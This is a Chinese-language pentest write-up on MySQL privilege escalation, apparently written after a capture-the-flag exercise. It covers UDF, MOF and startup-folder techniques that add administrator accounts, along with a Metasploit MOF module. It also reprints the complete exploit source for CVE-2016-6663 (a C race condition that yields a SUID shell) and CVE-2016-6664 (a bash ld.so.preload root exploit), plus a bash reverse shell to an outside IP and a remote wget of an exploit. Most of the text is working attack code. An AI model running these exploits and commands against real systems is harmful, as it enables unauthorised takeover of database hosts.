mysql提權總結
前言
前兩天參加了省賽的內網滲透,在拿到webshell后發現是一個站庫分離,通過信息搜集得到了數據庫的賬號密碼,但是是一個www-data權限,執行不了代理的命令,這時候就需要提權到root權限才能夠執行命令,最后還沒有通過udf提權,而是通過/tmp這個目錄能夠修改權限,改為777權限后使用的代理。因為linux打得比較少,我們隊在這個地方卡了很久,導致只打到了第一層網絡,第二層內網就沒有時間去打,所以補一下關于mysql的提權知識。
UDF提權
何為UDF
UDF是mysql的一個拓展接口,UDF(Userdefined function)可翻譯為用戶自定義函數,這個是用來拓展Mysql的技術手段。
使用過MySQL的人都知道,MySQL有很多內置函數提供給使用者,包括字符串函數、數值函數、日期和時間函數等,給開發人員和使用者帶來了很多方便。MySQL的內置函數雖然豐富,但畢竟不能滿足所有人的需要,有時候我們需要對表中的數據進行一些處理而內置函數不能滿足需要的時候,就需要對MySQL進行一些擴展,幸運的是,MySQL給使用者提供了添加新函數的機制,這種使用者自行添加的MySQL函數就稱為UDF(User Define Function)。其實除了UDF外,使用者還可以將函數添加為MySQL的固有(內建)函數,固有函數被編譯進mysqld服務器中,稱為永久可用的,不過這種方式較添加UDF復雜,升級維護都較為麻煩,這里我們不做討論。無論你使用哪種方法去添加新函數,它們都可以被SQL聲明調用,就像 ABS()或SUM()這樣的固有函數一樣。
UDF利用條件
1.知道數據庫的用戶和密碼;2.mysql可以遠程登錄;3.mysql有寫入文件的權限,即secure_file_priv的值為空。
關于第一點就不用多說了,可以通過拿到webshell之后翻閱文件得到,對于不同情況下有不同得獲取方式,這里不再贅述;主要提一下第二三點。
在默認情況下,mysql只允許本地登錄,我們知道可以通過navicat去連接數據庫(在知道帳號密碼的情況下),但是如果只允許本地登錄的情況下,即使知道賬號密碼的情況下也不能夠連接上mysql數據庫,那么在這種情況下就只有通過拿到本機的高權限rdp登陸遠程桌面后連接。
遠程連接對應的設置在mysql目錄下的/etc/mysql/my.conf文件,對應的設置為bind-address = 127.0.0.1這一行,這是默認情況下的設置,如果我們要允許在任何主機上面都能夠遠程登錄mysql的話,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0
光更改配置文件還不夠,還需要給遠程登陸的用戶賦予權限,首先新建一個admin/123456用戶,使用%來允許任意ip登錄mysql,這樣我們就能夠通過navicat使用admin/123456用戶遠程連接到數據庫
grant all on *.* to admin@'%' identified by '123456' with grant option;flush privileges;
關于第三點的secure_file_priv參數,這里有三個值,分別為NULL、/tmp、空,NULL顧名思義即不允許導入或導出,那么在這種情況下就不能使用sql語句向數據庫內寫入任何語句,/tmp的意思是只能在/tmp目錄下寫入文件,這種情況下就需要考慮寫入文件到文件夾后能否在網頁上訪問連接到這個目錄,如果這個值為空,那么就可以通過構造sql語句向mysql數據庫下的任何目錄寫入文件。
這里還有一個需要了解的點就是在mysql5.5版本之前secure_file_priv這個值是默認為空的,那么我們拿到的webshell如果對應的mysql數據庫版本在5.5以下的話操作起來就比較方便,在mysql5.5版本之后secure_file_priv這個值是默認為NULL的,即不能夠往數據庫內寫入文件。
手動提權
首先這里現在官網下載一個mysql,這里我下載的是5.5.19,注意這里需要下msi文件,不要下zip文件

下載好后進行安裝即可

這里使用utf-8字符集

安裝好后使用mysql -u root -p進入mysql

因為我是5.5.19版本,必須把 UDF 的動態鏈接庫文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創建自定義函數。這里說到了動態鏈接庫,動態鏈接庫就是實現共享函數庫概念的一種方式,在windows環境下后綴名為.dll,在linnux環境下后綴名為.so
那么這里利用.dll或.so文件在哪里去找呢?這兩個文件在sqlmap和msf里面都有內置
首先在sqlmap里面找一下,在sqlmap里面對應的目錄地址為udf/mysql,這里進入目錄后可以看到sqlmap已經幫我們分好類了

不過 sqlmap 中 自帶這些動態鏈接庫為了防止被誤殺都經過編碼處理過,不能被直接使用。這里如果后綴名為.so_或dll_的話,就需要解碼,如果后綴名為.so或.dll的話就不需要解碼即可直接使用。這里sqlmap也自帶了解碼的py腳本,在/extra/cloak目錄下,使用cloak.py解密即可。

命令如下(這里使用到64位的dll,其他版本改后綴名即可)
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll


這里好像因為我本機的環境配置的問題這里py3沒有執行成功,這里換到kali環境里面使用py2解密
python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

另外可以用msf提供的動態鏈接庫文件,這里注意msf里面的動態鏈接庫是已經解密好了的可以直接使用,msf下的動態鏈接庫目錄如下
/usr/share/metasploit-framework/data/exploits/mysql/

直接拿出來使用010 editor進行查看是包含了一些函數

解密過程完成之后就需要把解密得到的UDF動態鏈接庫文件放到mysql的插件目錄下,這里使用如下命令查詢插件目錄的位置
show variables like "%plugin%";
這里可以看到我的插件目錄就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin

使用select @@basedir查看一下MySQL安裝的位置

這里因為只單獨安裝了一個MySQL,沒有安裝其他的web,所以為了更好的還原環境,這里使用phpstudy來搭建環境,這里假設我已經拿到了一個目標機器的webshell,但是這里權限很低,使用到udf提權
首先來到MySQL/lib文件夾下,這里可以看到是沒有plugin這個文件夾的,所以這里需要我們先創建一個文件夾

創建plugin文件夾

然后把解密過后的lib_mysqludf_sys_64.dll放到plugin文件夾下

這里為了方便我把dll改名為udf.dll,但是這里報錯ERROR 1126,這里我百度過后發現這個dll并不是跟系統位數有關的,而是跟mysql版本有關系,而且phpstudy自帶的mysql版本需要用32位的dll才能夠操作
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

這里我上傳一個32位的dll到plugin文件夾內

再使用命令創建自定義函數即可

然后使用命令查看是否新增了sys_eval函數
select * from mysql.func;

可以看到這里創建成功那么就可以執行系統命令,到這里就是一個高權限了,而且如果有disable_functions把函數禁用了,用udf提權也是能夠操作的

拓展:UDF shell
允許外連
這里可以使用寫好的大馬udf.php來自動提權,我們測試一下
首先把php上傳到可以網頁訪問的位置,這里我直接連接報錯了應該是因為沒有設置可以外連,只允許本地連接,首先實驗一下允許外聯的情況

這里進入my.ini文件設置bind-address = 0.0.0.0

然后創建一個admin/123456用戶允許外連

再次登錄即可登錄成功

這里首先dump udf.dll到plugin文件夾下,這里可以看到dump dll成功

然后創建函數,再執行命令即可
不允許外連
這里我們再把bind-address = 0.0.0.0這行注釋掉之后進行試驗,因為不允許外連,那么只有本地連接數據庫,這時候很容易想到正向連接我們代理進去連接數據庫。這里使用reg、ew都可以,但是這里因為是mysql的原因,使用navicat自帶的tunnel腳本會更加方便。
首先測試一下,是不允許外連的(這里圖搞錯了)

這里上傳nutunnel_mysql.php到靶機上訪問,這里看到已經連接成功了

然后連接的時候設置HTTP隧道

即可連接到mysql,然后提權操作同前

MOF提權
mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管對象格式"其作用是每隔五秒就會去監控進程創建和死亡。其就是用又了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。
利用條件
- 只使用于windows系統,一般低版本系統才可以用,比如
xp、server2003 - 對
C:\Windows\System32\wbem\MOF目錄有讀寫權限 - 可以找到一個可寫目錄,寫入mof文件
手動提權
這里我沒有安裝2003的虛擬機,所以就不放圖了,寫一下提權的步驟
生成testmod.mod文件并上傳到靶機的可寫目錄
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";};
instance of ActiveScriptEventConsumer as $Consumer{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user test test123 /add\")WSH.run(\"net.exe localgroup administrators test /add\")";};
instance of __FilterToConsumerBinding{ Consumer = $Consumer; Filter = $EventFilter;};
進入mysql命令行執行導入命令,導入完成過后系統會自動運行
select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
使用net user命令即可發現已經加入了管理員組
msf提權
msf內置了MOF提權模塊,相比于手動提權的好處就是msf的MOF模塊有自動清理痕跡的功能
use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun
拓展
因為每隔幾分鐘時間又會重新執行添加用戶的命令,所以想要清理痕跡得先暫時關閉 winmgmt 服務再刪除相關 mof 文件,這個時候再刪除用戶才會有效果
# 停止 winmgmt 服務net stop winmgmt # 刪除 Repository 文件夾rmdir /s /q C:\Windows\system32\wbem\Repository\ # 手動刪除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S # 刪除創建的用戶net user hacker /delete # 重新啟動服務net start winmgmt
啟動項提權
windows開機時候都會有一些開機啟動的程序,那時候啟動的程序權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的。當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啟動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行。
這個地方既然碰到了啟動項提權,就總結一下不限于mysql的啟動項提權方法。
啟動項路徑
在windows2003的系統下,啟動項路徑如下:
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
在windows2008的系統下,啟動項路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
自動化腳本
我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啟動目錄 “C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權。
這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
使用sql語句
連接到myql之后創建一個表寫入sql語句
use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;

重啟之后即可提權

CVE-2016-6663&CVE-2016-6664
CVE-2016-6663是競爭條件(race condition)漏洞,它能夠讓一個低權限賬號(擁有CREATE/INSERT/SELECT權限)提升權限并且以系統用戶身份執行任意代碼。也就是說,我們可以通過他得到一整個mysql的權限。
CVE-2016-6664是root權限提升漏洞,這個漏洞可以讓擁有MySQL系統用戶權限的攻擊者提升權限至root,以便進一步攻擊整個系統。
導致這個問題的原因其實是因為MySQL對錯誤日志以及其他文件的處理不夠安全,這些文件可以被替換成任意的系統文件,從而被利用來獲取root權限。可以看到,兩個cve分別是用來將低權限的www-data權限提升為mysql權限,然后再將mysql提升為root權限
利用條件
CVE-2016-6663
- 1.已經getshell,獲得www-data權限
- 2.獲取到一個擁有create,drop,insert,select權限的數據庫賬號,密碼
- 3.提權過程需要在交互式的shell環境中運行,所以需要反彈shell再提權
- 4.Mysql<5.5.51或<5.6.32或<5.7.14
CVE-2016-6664
- 1.目標主機配置必須是是基于文件的日志(默認配置),也就是不能是syslog方式(通過cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看沒有包含“syslog”字樣即可)
- 2.需要在mysql權限下運行才能利用
- 3.Mysql<5.5.51或<5.6.32或<5.7.14
環境搭建
這里使用到tutum/lamp的鏡像環境,運行docker并連接
docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash

安裝apt,wget,gcc,libmysqlclient-dev
apt updateapt install -y wget gcc libmysqlclient-dev

寫入一個一句話木馬方便后續連接,這里注意,linux環境下用echo命令寫入木馬需要加' '進行轉義,否則會報錯
cd /var/htmlecho 'hacker']); ?>' > shell.php

給web路徑賦予777權限
chmod -R 777 /var/www/html
進入mysql環境添加一個對test庫有create,drop,insert,select權限的test用戶,密碼為123456

將apache2和mysql服務重啟并重新保存容器,將新容器的80端口映射到8080端口,3306映射到3306端口的方式運行容器。
service restart apache2service restart mysql ocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp

訪問一下8080端口若出現如下界面則環境搭建成功

CVE-2016-6663
cve-2016-6663即將www-data權限提升為mysql權限,首先連接我們之前寫入的webshell
首先看一下權限跟目錄的可執行狀況,可以看到html目錄下是777

然后寫入exp,命名為mysql-privesc-race.c,exp如下所示
#include #include #include #include #include #include #include #include #include #include #include #include #include #include
#define EXP_PATH "/tmp/mysql_privesc_exploit"#define EXP_DIRN "mysql_privesc_exploit"#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handlesMYSQL_RES *res;MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf( "\033[94m" "MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit" "mysql-privesc-race.c (ver. 1.0)" "CVE-2016-6663 / CVE-2016-5616" "For testing purposes only. Do no harm.""Discovered/Coded by:""Dawid Golunski ""http://legalhackers.com" "\033[0m");
}
void usage(char *argv0) { intro(); printf("Usage:%s user pass db_host database", argv0);}
void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf("%s ", sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s", mysql_error(conn)); exit(1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv){
int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4];
// Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0);
// Get the params if (argc!=5) {usage(argv[0]);exit(1); } intro(); // Show initial privileges printf("[+] Starting the exploit as: "); system("id");
// Connect to the database server with provided credentials printf("[+] Connecting to the database `%s` as %s@%s", database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s", mysql_error(conn)); exit(1); }
// Prepare tmp dir printf("[+] Creating exploit temp directory %s", "/tmp/" EXP_DIRN); umask(000); system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :) printf("[+] Creating mysql tables "); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf("[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : "); system("cp /bin/bash " SUID_SHELL); system("ls -l " SUID_SHELL);
// Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf("failed to inotify_init"); return -1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("[+] Entering the race loop... Hang in there...");
while ( is_shell_suid != 1 ) {
cnt++;if ( (cnt % 100) == 0 ) {printf("->");//fflush(stdout);}
/* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :("); }
/* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); // child stops here exit(0); }
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0;
while (1) { int processed = 0; ret = read(fd, buf, sizeof(buf)); if (ret < 0) { break; } while (processed < ret) { event = (struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD")) { //usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if (io_notified) { break; } }
waitpid(pid, &status, 0); }
// Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) {is_shell_suid = 1; } }
}
printf("[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: ", cnt); system("ls -l " SUID_SHELL);
printf("[+] Spawning the \033[94mmysql SUID shell\033[0m now... Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)"); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */ printf("[+] Job done. Exiting"); mysql_close(conn); return 0;
}

這里我直接用蟻劍執行的話執行不了

使用nc配合bash命令反彈后執行命令,即可從www-data權限提升到mysql權限
nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1 cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test

CVE-2016-6664
cve-2016-6664即把mysql權限提升到root權限
tutum/lamp日志方式不是默認的基于文件的日志,而是syslog,所以我們首先要將它改為默認配置
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
刪除掉syslog,然后重啟mysql

使用exp
#!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates on this advisory.## This PoC exploit allows attackers to (instantly) escalate their privileges# from mysql system account to root through unsafe error log handling.# The exploit requires that file-based logging has been configured (default).# To confirm that syslog logging has not been enabled instead use:# grep -r syslog /etc/mysql# which should return no results.## This exploit can be chained with the following vulnerability:# CVE-2016-6663 / OCVE-2016-5616# which allows attackers to gain access to mysql system account (mysql shell).## In case database server has been configured with syslog you may also use:# CVE-2016-6662 as an alternative to this exploit.## Usage:# ./mysql-chowned.sh path_to_error.log### See the full advisory for details at:# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html## Video PoC:# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html## Disclaimer:# For testing purposes only. Do no harm.#
BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/mysqlrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"
function cleanexit { # Cleanup echo -e "[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "[+] Job done. Exiting with code $1 " exit $1}
function ctrl_c() { echo -e "[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0}
#introecho -e "\033[94m MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit mysql-chowned.sh (ver. 1.0)CVE-2016-6664 / OCVE-2016-5617"echo -e "Discovered and coded by: Dawid Golunski http://legalhackers.com \033[0m"
# Argsif [ $# -lt 1 ]; then echo -e "[!] Exploit usage: $0 path_to_error.log " echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`" exit 3fi
# Priv check
echo -e "[+] Starting the exploit as \033[94m`id`\033[0m"id | grep -q mysqlif [ $? -ne 0 ]; then echo -e "[!] You need to execute the exploit as mysql user! Exiting." exit 3fi
# Set target pathsERRORLOG="$1"if [ ! -f $ERRORLOG ]; then echo -e "[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again." exit 3fiecho -e "[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT# Compile privesc preload libraryecho -e "[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include #include #include #include #include #include #include
uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); //unlink("/etc/ld.so.preload"); } return old_geteuid();}_solibeof_/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"if [ $? -ne 0 ]; then echo -e "[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2;fi
# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "[+] Backdoor/low-priv shell installed at: `ls -l $BACKDOORPATH`"
# Safety checkif [ -f /etc/ld.so.preload ]; then echo -e "[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2fi
# Symlink the log file to /etcrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOGif [ $? -ne 0 ]; then echo -e "[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3fiecho -e "[+] Symlink created at: `ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logsecho -ne "[+] Waiting for MySQL to re-open the logs/MySQL service restart..."read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWERif [ "$THE_ANSWER" = "y" ]; then echo -e "Got it. Executing 'killall mysqld' now..." killall mysqldfiwhile :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fidone
# /etc/ dir should be owned by mysql user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: `ls -l /etc/ld.so.preload`"echo -e "[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "[+] The /etc/ld.so.preload file now contains: `cat /etc/ld.so.preload`"chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo 2>/dev/null >/dev/null
#while :; do# sleep 0.1# ps aux | grep mysqld | grep -q 'log-error'# if [ $? -eq 0 ]; then# break;# fi#done
# Check for the rootshellls -l $BACKDOORPATHls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "[+] Rootshell got assigned root SUID perms at: `ls -l $BACKDOORPATH`" echo -e "\033[94mGot root! The database server has been ch-OWNED !\033[0m"else echo -e "[!] Failed to get root" cleanexit 2fi
# Execute the rootshellecho -e "[+] Spawning the rootshell $BACKDOORPATH now! "$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p
# Job done.cleanexit 0
在剛才mysql權限的shell中下載提權腳本并執行,即可得到root權限
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log
